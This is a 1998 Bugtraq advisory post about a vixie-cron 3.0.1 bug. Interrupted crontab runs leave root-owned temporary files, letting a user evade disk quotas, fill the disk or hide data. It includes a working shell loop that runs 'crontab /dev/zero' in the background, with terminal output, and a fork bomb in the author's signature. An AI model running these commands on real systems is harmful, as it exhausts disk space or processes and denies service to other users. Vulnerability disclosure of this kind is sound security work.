[6075] in bugtraq
vixie-cron 3.0.1 & quota overriding (fixed)
daemon@ATHENA.MIT.EDU (=?UNKNOWN-8BIT?Q?Micha=B3?= Zalews)
Thu Feb 5 11:48:39 1998
Date: Thu, 5 Feb 1998 14:57:32 +0100
Reply-To: =?UNKNOWN-8BIT?Q?Micha=B3?= Zalewski <lcamtuf@BOSS.STASZIC.WAW.PL>
From: =?UNKNOWN-8BIT?Q?Micha=B3?= Zalewski <lcamtuf@BOSS.STASZIC.WAW.PL>
To: BUGTRAQ@NETSPACE.ORG
Whoops, I made a mistake in previous post ;P It isn't extremally import=
ant,
but may cause misunderstandig. Here's fixed version:
Suid executable, /usr/bin/crontab (vixie-cron up to 3.0.1-20), every
time it is called by user, transfers content of given file to root-owne=
d
temporary file created in /var/spool/cron. Then, when coopying is done,
crontab renames it to user's login name. But when copied file is larger
than max. filesize limit (it may be modified using 'ulimit' command) or
available disk space, crontab dies leaving this temporary file. In this
case user may store anything 'behind' quota limits, or waste whole free
disk space. Here's an example:
At the beginning, some useless info ;)
[root@genome /]# rpm -q vixie-cron
vixie-cron-3.0.1-20
[root@genome /]# ls -l /var/spool/cron
total 1
-rw------- 1 root root 769 Nov 27 20:21 root
[root@genome /]# df
Filesystem 1024-blocks Used Available Capacity Mounted on
/dev/hda3 199079 166164 22634 88% /
...
Looks good. Now, the main attack:
[lcamtuf@genome lcamtuf]$ ulimit
5000
[lcamtuf@genome lcamtuf]$ quota
Disk quotas for user lcamtuf (uid 513):
Filesystem blocks quota limit grace files quota limit=
grace
/dev/hda3 3 5000 5000 15 150 150
...
[lcamtuf@genome lcamtuf]$ NIC=3D0
[lcamtuf@genome lcamtuf]$ while [ $NIC -lt 5 ]; do crontab /dev/zero & =
let NIC=3DNIC+1;done
[1] 399
[2] 400
[3] 401
[4] 402
[5] 403
[lcamtuf@genome lcamtuf]$ sleep 300;killall -9 crontab
[1] Killed crontab /dev/zero
[2] Killed crontab /dev/zero
[3] Killed crontab /dev/zero
[4] Killed crontab /dev/zero
[5] Killed crontab /dev/zero
[lcamtuf@genome lcamtuf]$ quota
Disk quotas for user lcamtuf (uid 513):
Filesystem blocks quota limit grace files quota limit=
grace
/dev/hda3 3 5000 5000 13 150 150
Nothing happend...? Not quite:
[root@genome /]# df
Filesystem 1024-blocks Used Available Capacity Mounted on
/dev/hda3 199079 191290 0 100% /
...
Whoops... What's going on?
[root@genome /]# ls -l /var/spool/cron
total 25106
-rw------- 1 root root 769 Nov 27 20:21 root
-rw------- 1 root lcamtuf 5120000 Feb 5 15:01 tmp.453
-rw------- 1 root lcamtuf 5120000 Feb 5 15:02 tmp.468
-rw------- 1 root lcamtuf 5120000 Feb 5 15:03 tmp.469
-rw------- 1 root lcamtuf 5120000 Feb 5 15:03 tmp.482
-rw------- 1 root lcamtuf 5120000 Feb 5 15:03 tmp.483
Note - when ulimit is 0, user may waste WHOLE DISK SPACE using
single crontab /dev/zero command!!!
Not funny, not funny, not funny... Attack described above is stupid
and simple, but /dev/zero may be replaced eg. with pipe. In this case,
these well-hidden 'temporary' files may be used to store large amounts
of hidden data, far away of user's home directory or tmp dirs.
_______________________________________________________________________
Micha=B3 Zalewski [tel 9690] | finger 4 PGP [lcamtuf@boss.staszic.waw.p=
l]
Iterowa=E6 jest rzecz=B1 ludzk=B1, wykonywa=E6 rekursywnie - bosk=B1 [P=
. Deustch]
=3D--------------- [ echo "\$0&\$0">_;chmod +x _;./_ ] ----------------=
-=3D
